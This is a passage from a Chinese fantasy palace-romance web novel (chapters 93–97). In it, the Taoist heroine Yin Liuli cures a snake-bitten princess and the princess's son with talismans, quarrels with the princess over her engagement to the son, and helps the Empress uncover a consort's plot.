成懿是她和圣上第一个孩儿,是他们夫妻当年恩爱有加,同患难共富贵的见证。
皇后和圣上都对这个女儿宝贝的要命!
她出生后不久圣上就登临地位,圣上一直说他们这个女儿是福星,这些年来无底线的宠爱骄纵着她。
……
湖中几条画舫纷纷从荷花塘里划了出来,争先恐后往回赶。
不多时,成懿那条船狠狠撞在了岸上。
一道修长矫健的身影从船上飞身掠下。
顾瑾焱双手抱着成懿公主,双脚踏地的一刻便向亭子狂奔而来,低沉的声线中带着一抹焦急,
“母亲别怕,御医很快就来!”
殷琉璃微微蹙眉。
顾瑾焱唇边挂着一缕乌黑的血丝,与成懿垂下的手腕上流淌的血一般,他应该是用嘴替母亲吸过毒血。
“焱儿,她怎样?怎会被水蛇咬伤……她、她伤的重不重?水蛇有毒吗?”
尽管满脸焦急担忧,可皇后娘娘依然忙而不乱,从容的命宫女在亭中腾出一块地方,铺设了厚厚的锦缎。
顾瑾焱飞奔到亭中,将怀中晕死过去的成懿放下,急急道,
“皇祖母,母亲刚要去剪那株并蒂莲,水底突然窜出一条黑色水蛇一口咬在她的手腕上。
儿臣看母亲伤口
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瞬间红肿,怀疑水蛇有毒……”
皇后顿时吸了一口冷气。
顾瑾焱紧皱眉头,口中含混的说,
“不过儿臣已及时帮母亲吸出毒血,加上御医用药,应该不会有什么大碍。”
“殿下性命无忧。”
殷琉璃淡然的声音传来,冲顾瑾焱挑了挑眉,“倒是你,现在有没有觉得口唇麻木刺痛,头脑晕眩心跳不稳?”
顾瑾焱点了点头,“琉璃,我……”
他吸出毒血时便觉得像是含了一口麻沸散,整个口唇发麻发木,旋即针刺般细细的痛感传来。
加上抱着母亲飞奔,心脏开始在胸腔中没规律的狂跳。
“你**了。”
殷琉璃扫了顾瑾焱一眼,蹙眉道,“水蛇本就属阴,又以水中怨气为滋养,毒性自带阴邪,比寻常毒蛇厉害的多。”
顾瑾焱舌根发硬,勉强道,“那母亲她……”
殷琉璃走到他面前,声线清冷的说,
“她死不了,最多被痛楚折磨一阵子。你吞进去一些毒血,要拔出血中阴毒才行,随我过来。”
说罢她转身就走,顾瑾焱忙追随着她的脚步去了一处僻静的地方。
“伸手。”
殷琉璃淡淡吩咐了一声,纤细的手指按在顾瑾焱的脉搏上。
探了几下,她轻轻挑眉,“我要用符将阴毒逼出,你且忍耐。”
“琉璃,你尽管做。”
顾瑾焱点了点头。
殷琉璃从头上拔下一根金钗,一手托住他的手腕,抬手划出一道血口。
刺痛传来,顾瑾焱细微的蹙眉,一双幽深的眸子却灼灼的望着她。
纤细的手指一翻,灵光从指缝间乍现。
她将灵光逼入顾瑾焱百会,瞬间,一股泛着黑气的血水从伤口喷涌出来。
……
直到血水再无阴毒,殷琉璃才把他的手松开,脸色清淡的说,
“好了。”
“琉璃……”
看她转身要走,顾瑾焱一把抓住她的手臂,脸色泛起一阵苍白,
“你知道水中有阴物?你也知道我母亲去了,一定会遇险?”
殷琉璃毫不犹豫的点了点头,“嗯。”
顾瑾焱幽深的眸中闪过一抹复杂的神色。
第93章 顾瑾焱,你想吵架吗?
欲言又止。
殷琉璃清淡的眼睛看着他,“还有事吗?”
“她问过你!”
顾瑾焱低沉的嗓音蒙上一抹暗哑。
殷琉璃脸色平静的看着他,
“她问,我就要告诉她吗?”
她那是问?
分明就是倨傲的嘲讽。
顾瑾焱深深抿唇,
“琉璃,我知道母亲对你有误会,当众给你难堪,可她毕竟是我的母亲……”
“她不是我母亲呀。”
殷琉璃眨了眨眼,“顾瑾焱,你想吵架?”
“不不,我没有责怪你的意思,琉璃,你误会了!”
顾瑾焱心里咯噔一下,这才意识到自己的语气不对,连忙又加了一句,“这事本就是我母亲不对,你不理她是应该的。”
殷琉璃眼神清淡的看着他,“那你想说什么?”
顾瑾焱暗暗吸了口气,
“琉璃,当时如果母亲没有拉走我,你……会告诉我的是吗?”
心头那抹不确定感像猫爪子一般在他心里抓挠,搅的难受。
他迫切的想听到殷琉璃肯定的回答,给自己安全感。
他好容易才能和她靠近,慢慢走近她的心,绝不想因为母亲的刁难被她疏远。
殷琉璃眼神纯净,毫不犹豫的点头,
“会呀,可惜你没来及听就走了。”
顾瑾焱瞬间松了口气,脱口而出,
“我就知道!琉璃,我就知道你一定会告诉我的!”
紧紧揪起的心瞬间落回了肚子里,幽深的眸子甚至因为紧张爬上了血丝。
看着他那双泛红的眼睛,殷琉璃一脸奇怪,
“顾瑾焱,你这么激动做什么?你问我,我本来就要告诉你的呀。
你母亲是你母亲,你是你,你又没得罪我……”
话音未落,她身子忽然落进一个结实的怀抱。
顾瑾焱张开双臂将她牢牢锁在怀中,低沉的声线因为激动带上了一抹微哽,
“你吓死我了你知不知道!我刚才好担心你因为母亲和我疏远!
殷琉璃,我从来没对谁有过这样的恐惧……我竟然在害怕你以后都不肯理我了!”
殷琉璃心头闪过一抹说不清道不明的悸动。
她在顾瑾焱心里,有那么重要吗?
有人顺着台阶向这边走了过来,眼神诧异的看着他俩。
殷琉璃赶紧捶了下他的肩膀,
“有人来了,快放开我。”
顾瑾焱摇了摇头,
“不放!让他们看去!”
殷琉璃被人看的老脸一红,焦急的催促,
“喂,他们走过来了,快放开呀……”
顾瑾焱眉宇间闪过一抹得意,低头在她耳边耍赖,“要我放开你也行,你要答应我一个条件。”
殷琉璃躲开众人异样的目光,一头扎进顾瑾焱的胸口,瓮声瓮气的说,
“什么条件,快说!”
顾瑾焱深深吸了口气,声线中带上了一丝卑微的恳求,
“琉璃,我知道我母亲对你有偏见……她被蛇咬是自作自受。
只是我想求你能不能看在我的份儿上,以后不要跟她一般见识。
她再惹你你就拿我出气,我跟你保证,以后一定无条件站在你这边!”
殷琉璃扑哧一声笑了出来,
“你怕以后她得罪了我,我会收拾她?”
顾瑾焱点了点头,
“我母亲性子骄纵蛮横,她从小万千宠爱集于一身,皇祖父母把她宠坏了。
我会尽力让她对你改观,只求你别轻易动怒,有什么事情交给我处理……好吗?”
殷琉璃认真的想了想,这才点头,
“若是看在你的份儿上,我可以答应。
但我从来不是忍让的性子,她要是太过分,我不保证不回手。”
顾瑾焱心花怒放,“有你这句话就足够了!”
……
“痛……痛……”
亭中忽然传来成懿痛苦的叫声,无意识的挣扎。
“懿儿,你醒了?”
皇后焦急的脸色松了松,忙按住她的双肩,
“别动,御医说你还不能动。懿儿,你感觉如何……”
成懿混沌的眸子缓缓聚焦,突然瞪圆,
“我的手……好痛!母后,儿臣的手好痛!母后救我、救我!”
皇后心疼的红了眼眶,握着她的手柔声安慰,
“御医给你用过药了,懿儿,你再忍忍,很快就会好起来的……”
“琉
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璃……”
顾瑾焱眸光一颤,想说什么却又硬生生忍住,只抿唇道,“我先去看看母亲。”
殷琉璃能为他祛除蛇毒阴气,自然也能救他母亲。
可母亲把人家得罪狠了,顾瑾焱知道以殷琉璃的性子,就算求她也不一定愿意出手。
这事儿只能让皇外祖母去做。
殷琉璃也慢悠悠的走了回去,冷眼看着已经痛到精神恍惚的成懿。
她失去血色的脸变得狰狞,五官扭曲,疯了似的撕扯呻吟,
“痛,母后,我好痛啊……母后,好像有人用刀子在割我的肉,有火在烧……我受不了了!”
顾瑾焱连忙按住她乱抓的手,
“母亲,你再忍忍……”
皇后心如刀绞,脸色再也绷不住之前的沉稳,急的大叫,
“御医!御医呢!不是用过药了吗,公主怎还痛的这般厉害?
医治不好公主的伤,本宫要你们的脑袋!”
“是!”
御医慌忙跪下又诊了一次,神色慌张的说,
“启禀皇后娘娘,微臣已为殿下用了祛除蛇毒的药物,可药物见效还需要一些时间,微臣实在无能为力。”
皇后急道两眼通红,“还要多久见效?就没有快些止痛的法子嘛!”
御医战战兢兢的说,
“回娘娘,止痛的药物已经用上了,可不知为何没有一点儿效果。
怕不是……怕不是水蛇毒性太过强烈,压过了药效呀!”
皇后顿时怒目,“本宫要你们这些庸医何用!”
正怒着,顾瑾焱暗暗给了她一个眼色,看向殷琉璃。
皇后瞬间明白了过来,忙召殷琉璃上前,
“女佐使!琉璃丫头,道医相同,你既精通道法,能不能救我儿?”
殷琉璃看了一眼痛不欲生的成懿,一脸平淡的点头,
“蛇毒用过药,应该无碍,止痛的法子是有的。”
皇后眼前一亮,不由紧紧握住了殷琉璃的手,苦苦哀求道,
“琉璃丫头,你救救我懿儿吧,她痛的快要承受不住了!
她从小娇生惯养,从来没有受过这般苦楚……
本宫求你,就当是给本宫一个薄面,好不好?”
第94章 我要她亲口求我
殷琉璃静静的看着皇后,
“皇后娘娘,我不喜欢她。”
尽管说的是拒绝之语,可她清澈干净的眼神,让人没办法生她一点儿气。
“琉璃丫头,懿儿性子是骄纵了些,刚才得罪你,祖母替她给你赔不是。”
国公老夫人轻轻叹气,不忍道,“你不看僧面看佛面,看在祖母和皇后份儿上帮帮懿儿吧!”
顾瑾焱连忙起身,恳求的望着殷琉璃,
“琉璃,我也替母亲给你赔不是。”
甄氏也忍不住劝说女儿,
“琉璃,皇后娘娘和老夫人都这么说了,你就帮帮殿下吧。”
殷琉璃轻描淡写的说,
“母亲,祖母,皇后娘娘,琉璃不是不给你们面子。
医不叩门道不贱卖,成懿公主数次出言讥讽我与母亲,我不会去帮一个对如此对我的人。
若要琉璃出手,我要她亲口道歉,求我!”
话音一落,众人脸上都闪过一抹惊讶。
皇后和皇长姐何等身份,换做旁人巴结都巴结不及呢,殷琉璃竟然一点儿面子都不给?
真不知道她一个小丫头哪儿来这么大的脾气!
“懿儿,之前的确是你不对,你也太耍性子了些!”
皇后顾不上什么,连忙哄着成懿说,“你也听见了,如今只有琉琉璃丫头能救你,你快给她赔个不是吧!”
“母后让儿臣、让儿臣给她道歉?她、她算什么!”
成懿脸上闪过一抹愤怒,气喘吁吁的说,“儿臣就是痛死,也不会……啊!”
话音未落,又是一阵钻心的剧痛袭来,她苍白的脸再次痛到变形,大滴大滴的汗珠顺着脸颊滚落。
顾瑾焱急的双目通红,恨铁不成钢的说,
“母亲!都什么时候了你还糊涂,你难道要痛死自己嘛!
你三番五次给琉璃难堪,本就是你不对,你再要硬撑,儿臣也没办法了!”
“焱儿,连你也……”
成懿吃惊的看着儿子,眼前一阵阵发黑。
还没等喘口气,手腕上剧痛一阵比一阵强烈,千刀万剐都比不得这般难忍,牙根都快被她咬碎了。
又熬了片刻,成懿实在承受不住痛苦,吃力的看向殷琉璃,
“殷、殷琉璃,本宫之前那个对你……是、是本宫的错。
本宫跟你道、道歉……求你救救本宫,好痛啊……”
殷琉璃脸色淡然的哼了一声,
“既如此,我接受你的道歉,这便为你止痛。”
说罢,她抬手在掌心画了一道“拔阴符”,手指一翻,一道灵光从指缝间乍现。
她按住成懿的手臂,语气淡淡的说,
“水蛇长时间被水中阴气滋养,故蛇毒中带有极浓的阴气,所以比寻常毒蛇的毒性大。
你伤口剧痛就是阴毒作祟,我要为你拔出体内阴毒,再行止痛,你还需再忍耐片刻。”
成懿不敢再说什么,只颤抖着点了点头,
“好……”
殷琉璃将灵光送入成懿头顶百汇,一瞬间,手腕上那块高高肿胀,已成黑色的伤口便涌出血来。
血水暗红发黑,近乎绛色,看的所有人心头一紧。
连御医都没法子弄出这些污血,若不是殷琉璃,真不敢想成懿被阴毒折磨成什么样!
“痛……”
成懿苍白的脸上又是一阵狰狞,痛苦的呻吟起来。
顾瑾焱忙握住她另一只手,用结实的胸膛为她做支撑,柔声哄着,
“母亲再忍一忍,就快好了。”
成懿紧咬牙关,抓着儿子的手背上泛起道道青筋。
直到绛色污血变成了鲜红色,殷琉璃淡淡挑眉,
“好了,现在收伤止痛。”
她抬手在掌心虚画出一道“止痛符”,手指一翻,将灵光送入成懿伤口。
成懿不觉一颤,身子仿佛注入一道暖流,泉水般汩汩流淌全身。
不过是片刻之间,那种割肉火炙、撕心裂肺般的痛楚消失不见,一种麻酥酥的温热感传遍全身。
她轻哼了一声,只觉松了绑一般四肢百骸无一不舒畅轻松,身子一软倒在了顾瑾焱怀中。
顾瑾焱忙抱住她,俊美绷紧的脸色缓缓松了口气,
“母亲,你可好些?”
“好、好多了……”
成懿虚弱的点了点头,伏在儿子怀里嘤嘤的哭了起来,“焱儿,母亲还以为、还以为
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活不过来了……”
“殿下的伤口……”
不知谁惊叫了一声,所有人的目光**在她的手上。
伤口四周原本青黑肿胀的皮肉肉眼可见变得浅淡,血水收敛,伤口缓缓愈合。
皇后凤眸中泛起光芒,惊喜扑到成懿身前查看,
“好了,伤口竟真的好了……真没想到,琉璃丫头的灵符竟这般神奇!懿儿,你没事了!”
“谁说不是呢!凤仪,我让你信琉璃丫头没错吧?”
连老夫人都忍不住满脸惊叹,连连冲殷琉璃招手,“琉璃丫头快过来,让祖母瞧瞧你这般小小的一个丫头,怎的厉害成这样!”
“是,祖母。”
殷琉璃敛了一下心神,暗暗调节真气。
她接连用了几次灵符,消耗有些多了,此时只觉身子有些乏力。
顾瑾焱敏锐的察觉她脸上的一丝疲倦,那双幽深的眸子满是心疼,
“皇姑祖,琉璃来了还没用过什么东西,又为儿臣和母亲施法消耗体力,求皇姑祖赏她一些。”
若不是母亲还靠在他怀里,他一定上前将殷琉璃揽住,用自己的胸膛给她做依靠!
没想到他注意到自己的疲惫,殷琉璃对他勾唇一笑。
老夫人满脸疼惜的说,“赏!赏!来人,把本宫这碗燕窝羹端过去!
琉璃丫头,你想用些什么尽管跟祖母说!”
皇后通红的眸子也看向殷琉璃,声线微哽,
“琉璃,你不但救了本宫,还救了本宫的女儿!
你想要什么,本宫一定会赏赐与你!”
殷琉璃只顾着喝大口燕窝粥。
甄氏知道自己帮不上女儿什么,只能站在女儿身边,满眼心疼的叮嘱,
“琉璃,你慢些喝……”
消耗那么多真气,殷琉璃真的饿坏了,等喝完粥才摇了摇头,
“多谢皇后娘娘,琉璃不求封赏。”
“你救了本宫的命,算对本宫有恩,本宫欠你一个人情。
你想要什么尽管开口,只要本宫能做到一定为你去做!”
成懿的声音传来,忽然眉头一蹙转过话锋道,“只不过殷琉璃,本宫尚有一事要与你弄个明白!”
第95章 好白菜被猪拱了
顾瑾焱心头划过一抹不祥的预感,忙拦着她,
“母亲,有什么话以后再说,儿臣扶你回……”
“焱儿!”
成懿一把将他推开,声线冰冷道,
“你就这么护着她,连你母亲都不能跟她说句话了吗?”
“自然能说,但不是现在。”
顾瑾焱淡淡哼了一声,不由分说将她打横抱了起来,“儿臣送母亲回公主府歇息!”
成懿刚刚恢复些血色的脸上,登时气的一白,厉声道,
“焱儿!这位女佐使只是跟你定了亲,还没成你的世子妃呢!”
她亲生亲养,把他当眼珠子一般宠爱的儿子,竟然为了一个连身世都不清不楚的女人忤逆她!
那心酸不忿的滋味儿,就好像自己亲手养大的一颗好白菜,眼睁睁看着它被猪给拱了!
一向心高气傲的成懿怎么受的了?
(殷琉璃:你的意思,是我拱的?)
(顾瑾焱:有没有可能我才是那猪?)
气氛瞬间跌入冰点儿。
皇后知道女儿的脾气,想劝两句,可看她满脸愤怒的样子又忍不住心疼。
老夫人则看了看成懿,又看了看殷琉璃,装模作样的喝茶。
孩子们的事儿让孩子们自己弄去,早点儿弄清楚早点儿安生。
“今日这话本宫必要与她问个明白!焱儿,你不会为了她,连母亲都要忤逆不成?”
成懿公主狠狠的说,“母亲问你,若母亲和她同时掉进湖中,你会救谁!”
婆媳落水的万年难题摆放在面前,所有人的目光都**在顾瑾焱的身上。
顾瑾焱挑了挑眼皮,淡淡道,
“儿臣都要!”
成懿公主都气笑了,“好!本宫真是养了一个孝顺的好儿子!”
“殿下不用为难她,有什么话请讲。”
殷琉璃清澈的眸子看了顾瑾焱一眼,淡淡勾唇,“顾瑾焱,谢谢你的好意。”
“回去再跟你算账!”
成懿恨铁不成钢的捶了这个不争气的儿子一下,冷声道,
“本宫替母后去采荷之时候,女佐使事先知道水中会有危险?”
顾瑾焱暗暗吸了一口气。
他母亲,向来是个不肯吃一点儿亏的性子。
在她眼里,除了圣上和皇后,她高于一切,任何人都要无条件的以她为尊。
殷琉璃名知湖中有危险不说,就是触了她的逆鳞。
殷琉璃点了点头,大大方方的说,
“知道,只是不知具体是什么危险。”
成懿脸色一狞,
“大胆!那你还让本宫去!”
殷琉璃不慌不忙的说,“殿下此话差矣,是你自己要去,与我有什么关系?”
成懿公主抬手指着她,咬牙切齿道,
“本宫当初问过你有没有危险,你说的是什么!”
殷琉璃轻描淡写道,“我说你想去便去,怎么了?”
成懿公主脸色一黑,怒不可遏,
“你明知本宫会有危险竟然不拦着,害本宫受常人所不能受的痛楚,甚至差点儿命丧于此!
本宫不就是怀疑你的身世,说你配不上我焱儿嘛,你就要趁机报复,要置本宫于死地!”
话音一落,所有人心里都在替殷琉璃打鼓。
谋害公主,这个罪名太大。
甄氏大惊失色,忙挡在殷琉璃的身前,紧张的辩解,
“不、不是这样的,殿下一定是误会……”
“走开!”
成懿铁青着脸怒喝,“甄氏,这就是你教导出来的好女儿!”
“你凶什么?娘,不用理她!”
殷琉璃将甄氏拉到自己身旁,冷冷看着成懿,“殿下的脸变的可真快,刚为你拔除阴毒,你就恶狗回头反咬一口了?”
成懿脸色铁青,“放肆!你敢骂我是狗?”
“除了放肆,殿下还会说别的吗?”
殷琉璃唇边勾起一抹冷笑,步步逼近道,
“当时殿下是在问我,还是在倨傲的嘲讽我这个身份不明之人?我为何要拦着?
若我拦着,你也一样会嗤之以鼻,肯听我的话?”
成懿被她怼的狠狠抿唇,一时间竟不知如何反驳。
殷琉璃纤细的身形站在她的面前,周身气势冰冷迫人,
“你知不知道,若不是看在外祖母和皇后娘娘的份儿上,就算你跪在我脚下痛哭哀求,我都不会出手救你。
你被蛇咬痛不欲生,不是因为我,而是因为你
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自己的傲慢!
如今却要将怒气迁怒于我,凭什么!”
空气仿佛凝滞了一般。
成懿公主被那双犀利的眸子看的心头一颤,不觉冷笑道,
“好!好一个伶牙俐齿的丫头!”
皇后实在看不下去,出声何止,
“懿儿,此事是你不对,无关女佐使的事情,你闹够了没有?还不给我回府修养!”
“是,母后。”
成懿公主生生咽下一口恶气,狠狠的看着殷琉璃,
“殷琉璃,本宫是辩不过你,不过嫁给焱儿成为世子妃这事儿你就别想了!
本宫宁愿让焱儿去**部落和亲,也不会让你这种人踏进我公主府一步!”
她是当今圣上和皇后嫡出长公主!
从小到大被人高高捧起,还从来没一个人敢这样对她!
她习惯掌控一切,左右身边人的喜怒哀乐,甚至他们的生死都不过在自己一念之间。
殷琉璃根本不是一个可以掌控的人!
相反,她若掌控别人简直轻而易举!
成懿绝不会让这种人嫁给自己的儿子,不然她以后还要不要活了?
整个公主府都会成了她殷琉璃的!
顾瑾焱俊美的脸一沉,
“母亲,你说什么!”
“跟我回府!”
成懿根本不给他说话的机会,一把拉住他的手腕训斥道,
“焱儿,你若还当我是你的母亲,就不要再忤逆于我!跟母亲回府!”
“母亲!母亲!我不去**部落和亲,我就要娶琉璃!”
顾瑾焱一脸幽怨的往后蹭,耍赖般大叫,“皇外祖母,皇姑祖母,快帮帮儿臣呀!”
成懿公主从小被宠坏,他从小又没被他这个公主母亲宠坏?
反正说不过母亲的时候,顾瑾焱就撒娇耍赖,搞得她没办法。
“好了,胡闹什么!这是宫里,不比你们公主府能这么没规矩!”
“焱儿,听你母亲的,先跟她回去!”
皇后跟国公老夫人被这母子俩弄的又气又笑。
知道母子俩什么德性,只好无语的对视一眼,也是没法子。
“等等!”
热闹的场面中,殷琉璃忽然淡淡的叫了一声。
第96章 殷琉璃,我只要你!
“本宫说的还不够清楚嘛!明日本宫便去面圣,给你们退婚!”
成懿倨傲的瞥了她一眼,“殷琉璃,你还有什么话说?”
众人看向殷琉璃的眼神各异,有替她不值的,有嘲笑她敢得罪公主的,还有觉得她太狂太嚣张,活该的……
要不是顾瑾焱命格克妻,京城多少名门贵女都想嫁进公主府,做世子妃,摇身一变成为皇亲国戚?
殷琉璃抬起纤细的手指,指向顾瑾焱,
“我一定要嫁给他。”
空气忽然一静。
众人满脸惊讶的看向殷琉璃,掩口窃窃私语,
“她一个女儿家,怎么好意思当这么多人的面儿说出这种话?”
“她不是怕自己嫁不出去了吧?”
“可不是?被殿下退婚,以后谁还敢娶她呀!”
“看来殿下说的没错,她身世不清不楚,自然不知道颜面二字是何物……”
“琉璃!”
顾瑾焱心头一阵狂跳,俊美的脸上露出狂喜。
他就知道殷琉璃喜欢上他了!
殷琉璃认真的看了他一眼,淡淡的说,
“顾瑾焱,我一定要嫁给你才行,至于为什么我会跟你说清楚。
当然,到时候你不想娶我,我也不会勉强……”
师父推算的天劫之日不远了。
这几日她也明显感觉到稍稍多施几道灵符,体内真气便会不稳,以前从来没有过这样。
天劫将至,只有顾瑾焱能帮她平安度过。
殷琉璃不想瞒着顾瑾焱,如果跟他不愿意,自己绝不会勉强。
“我想!我想我想我想!”
不等她说完,顾瑾焱目光灼灼的看着她,“殷琉璃,我不管旁人如何,我只要你!”
“住口!”
成懿公主狠狠瞪了儿子一眼,冲殷琉璃抬起了下巴,倨傲的说,
“婚姻大事父母之命媒妁之言,本宫是他的母亲,本宫不同意,你就是想破脑袋也别想如愿!”
殷琉璃淡淡挑眉,“我救了你,你亲口说欠我一个人情。”
成懿顿时噎了一下,满脸愠怒道,
“金银珠宝,荣华富贵,本宫什么都可以给你!
但是这个,你不要妄想!”
殷琉璃清亮的眸子绕过她,看向顾瑾焱,
“顾瑾焱,我们说好了。”
顾瑾焱连忙点头,“说好了,琉璃你放心……”
“焱儿,跟母亲回府!”
成懿由不得他多说,硬生生将他从殷琉璃的面前拖走。
一场原本应该热热闹闹的宴会,就这么在一场闹剧中收场。
国公老夫人拉着殷琉璃,好生安慰了几句,
“丫头别担心,懿儿就是那臭脾气,等她消气就好了。
回头祖母替你做主,既是圣上赐婚,也由不得懿儿她胡闹。”
殷琉璃点了点头,“琉璃多谢祖母。”
皇后也无奈的劝了几句,只是一边儿是女儿,一边儿是救命恩人,她夹在中间不好说话。
……
送走了国公老夫人,皇后依然没有放殷琉璃走的意思,带着她和甄氏去了自己的宫里。
“来人,将本宫的赏赐呈上来。”
几个宫女端着托盘依次进来呈现在殷琉璃面前。
赏赐无非是些珠宝玉石,几件金光灿灿,镶嵌着华丽宝石的钗环,几件绣工精致的云锦缎子。
其中最显眼的是一柄手臂长短的玉如意。
玉如意通体洁白无瑕,在日光下散发出晶莹温润的光芒,绝对是难得一见的珍品。
殷琉璃和甄氏忙跪下谢赏,
“多谢皇后娘娘赏赐。”
皇后身边的嬷嬷上前,恭谨的笑道,
“女佐使,这柄如意出自北疆和田,是珍贵的和田白玉,珍贵异常。
当年玉石进供来,圣上命人寻了最好的玉石师傅雕琢,花了三个月的时间才做成了这柄玉如意,送与皇后娘娘呢!
娘娘日日摆在房中,没想到会舍得送与女佐使,可见娘娘对女佐使看重偏爱之情。”
皇后淡淡勾唇,
“琉璃丫头救了本宫和懿儿的命,一把玉如意又算得什么?”
她眉宇间隐着一抹欲言又止。
殷琉璃知道这么贵重的赏赐,绝不是因为她救了皇后,便坦诚不公道,
“皇
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后娘娘有什么吩咐?”
“好个聪明伶俐的丫头!”
皇后果然笑了起来,给嬷嬷使了个眼色,才道,“本宫心头有个疑惑,想问问你的意思。”
嬷嬷不动声色的将屋里的宫女太监赶出去,只留下她和另外两个忠心不二的在皇后身边伺候。
皇后这才开口,
“今日你也瞧见了,张贵妃借着懿儿的由头,不遗余力的撺掇本宫去才湖中采荷。
被你说了几句,她脸上便气急败坏……琉璃丫头,你觉得她是不是故意的?”
这话就是在问,难道张贵妃事先就知道湖水中藏有危险的水蛇,才引着皇后去的?
一旁的嬷嬷附和的说,
“回娘娘的话,娘娘这么一问,老奴心里便也有个疑惑。
娘娘不是头一年主持采荷祈福,以前可没听说过水里还有那么吓人的东西……
老奴放胆想来,莫不是有人故意放进去的?”
皇后似笑非笑的看着殷琉璃,一双威仪的凤眸意味深长。
殷琉璃默了默。
皇后并非询问,不过是借由自己的口来验证猜测罢了。
今日张贵妃表现的的确有些过于着急了,被皇后看了出来。
能在深宫内院稳坐皇后宝座这么多年的人,绝不会是个傻白甜,没有些城府是做不到的。
殷琉璃虽看出皇后的心思,也没有明言,只是淡淡的说,
“臣女第一次见张贵妃,不知其人不敢妄言,身为外臣更不能参与后宫之事。”
皇后脸上闪过一抹失望,不动声色的笑道,
“无妨。”
殷琉璃抬头望着她,沉声道,
“臣女只能说所见所闻,至于事件之间有什么关系,就不是臣女去想的了。”
她不愿掺合后宫之事,但能看出这位皇后福泽深厚,身为凤命身上系着大昶朝半个命脉。
反观那个张贵妃,一身媚骨,并非行为端谨之人。
皇后凤眸不觉一亮,脸上掩饰不住的露出一抹惊喜,“琉璃丫头,你尽管说!”
殷琉璃缓缓道,
“娘娘今日是否服食过什么药物?”
第97章 付出水面
嬷嬷忙说,“近日娘娘时常觉得心口发闷,晨起是要用一碗人参养荣汤的,除此之外再无其他。”
“琉璃丫头,你怎的突然问起这个?”
皇后脸上闪过一抹讶异。
养荣汤不过是寻常的补剂,能与湖中水蛇有什么关系?
“不是突然询问,臣女拜见娘娘时便嗅到一丝淡淡的人参味道。”
殷琉璃默了默,只差一样了,便问道,“那后宫之中可有人知道娘娘近日在服人参养荣汤?”
皇后与嬷嬷对视一眼,似乎隐隐明白些。
皇后沉吟的说,
“前几日本宫身子欠安,各宫嫔妃前来侍疾,应该都是知道的。”
“听闻娘娘要用人参养荣汤,还有两个宫里的娘娘特意送了上好的长白山人参呢。”
嬷嬷回忆着说,“一个是陈嫔娘娘,一个就是……张贵妃!她俩向来结好,就约着一起来的。
张贵妃送的是一株百年参王,御医瞧了说药效足的狠,这几日皇后娘娘用养荣汤都用的这个。”
话音一落,她自己就不禁打了个寒噤,脱口道,
“女佐使,难不成张贵妃用人参害我们娘娘?”
皇后眉宇间缠上了一抹沉色,“琉璃丫头,本宫还是没听明白你的意思,人参、毒蛇,到底有什么关系?”
殷琉璃心下了然,便道,
“回娘娘,琉璃事先也不知这几样有什么联系,不过如今知道了。
娘娘近日服用人参药剂,还是药效十足的人参。
医术上有说人被毒蛇咬伤后数日,不可用人参做补。
因为人参遇到蛇毒可加重气血壅滞,阻碍解**物发挥作用。
更有甚者,过量服用人参会使毒血变得粘稠,无法从伤口排出。”
整个事件已然浮出水面,傻子都能看出来张贵妃暗箱操作。
皇后脸色微变,不觉倒吸了一口冷气,
“你是说张贵妃借探病之机送本宫人参,又故意在荷花池中放入毒蛇,就是要等本宫被蛇药了,再用解药也无效?”
殷琉璃点了点头,
“几样事情联系起来看,能说得通。陈贵妃当时一力撺掇娘娘去采荷,臣女阻拦皇后时注意到她脸色不对,看臣女的眼神格外凶狠,臣女也不会怀疑到她的身上。”
“她觊觎本宫后位不是一天两天了!”
皇后一巴掌拍在桌上,凤眸中翻涌着怒火,“本宫为后宫安稳着想,时常不与她计较,倒让她觉得本宫好对付,竟然给本宫下套!”
殷琉璃沉声道,
“皇后娘娘,以上这些是臣女将几件事情联系起来,做出的判断。
只没有实质性的证据可以证明,臣女只能说到此处。”
皇后凤眸中闪过一抹感激之情,起身从凤塌走下握住了她的手,
“琉璃丫头,你已经帮了本宫很多了!不但救了本宫的性命,还为本宫解开疑虑,本宫感激不尽。”
殷琉璃神色淡淡的说,
“臣女喜欢皇后娘娘,愿为皇后娘娘排忧解难。”
“琉璃丫头,你以后有任何难处都可以来找本宫,只要本宫能做到的一定会为你做!”
皇后眸中泛着一抹亮光,脸色郑重的说,
“懿儿那事,也是她的不对,你不要放在心上。
你只管放心,本宫和她父皇一定会为你做主,不管她怎么闹腾,你与焱儿的婚事也绝不会退!”
“老奴瞧着,世子爷早就对琉璃姑娘情有独钟了,都不用皇后娘娘替这小两口着急,世子爷是断断不会退婚的!”
一旁的嬷嬷笑呵呵的打趣,“娘娘就等着吃他俩的喜酒吧!”
皇后勾唇笑道,
“有琉璃这样一个外孙媳妇儿,可真是本宫的福气!”
殷琉璃半垂着眼皮,淡淡的说,
“琉璃多谢娘娘赏识,不过婚事,还要顾瑾焱最后决定。”
他们全都误会她对顾瑾焱情比金坚,非他不嫁。
殷琉璃懒得解释。
顾瑾焱对她很好,是那种毫不掩饰赤裸裸的好。
如果不是时常摆出一副轻浮的样子逗趣她,顾瑾焱的确是个还算不错的人。
但殷琉璃也只觉得他人不错,却从来
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没对他有过男女之情的想法。
今日当着众多嫔妃贵妇的面儿,殷琉璃指着顾瑾焱的鼻子说“我一定要嫁给你”,也只是因为天劫将至。
她需要顾瑾焱的命格,助自己平安渡劫。
殷琉璃不想瞒着他,回去就找机会说出来。
如果顾瑾焱害怕雷劫,不想为她冒险,她也不会勉强。
大不了拚了全身的修为不要,跟天劫拼了呗?
……
一辆三架马车行来,前有两队整齐的宫人开路,缓缓停在了殷侯府的门前。
瞬间吸引了整条街的目光。
马车的轿箱帷幔用的是明晃晃的正黄色,上头雕琢着凤纹图案,一看就知道是宫里皇后、太后才能拥有的座驾。
马车后还跟着一个车队,上面载满了大大小小的锦盒。
“启禀女佐使,殷侯府到了。”
一个宫女上前恭恭敬敬的说话。
“多谢姑姑。”
殷琉璃从车上下来,踏着事先放好的马凳走下,再将刚钻出车厢的甄氏接了下来,“娘小心。”
直到看见殷侯府的门匾,甄氏还跟做梦一般有些恍惚。
皇后娘娘赏赐殷琉璃许多珠宝、布匹,还下令用自己的座驾送他们回府,这般荣宠就算放在京城高门贵女圈里也是头一份儿。
最重要的是,皇后娘娘还赏赐了琉璃一块御牌,封她为宫中行走,随时随地都能进出皇宫。
这又是何等的殊荣!
大街上聚满了来看热闹的人,瞧见这副气派七嘴八舌的议论起来,
“你们瞧,那位殷大小姐是从皇后娘娘的马车上带来的!”
“她刚被圣上封了大理寺的官职,这就又得了皇后娘娘的赏赐了?”
“谁叫人家殷大小姐有本事呢,她救了咱们老百姓的孩子,圣上和皇后娘娘怎么赏赐她,咱们都不眼红!”
……
“娘,回去吧。”
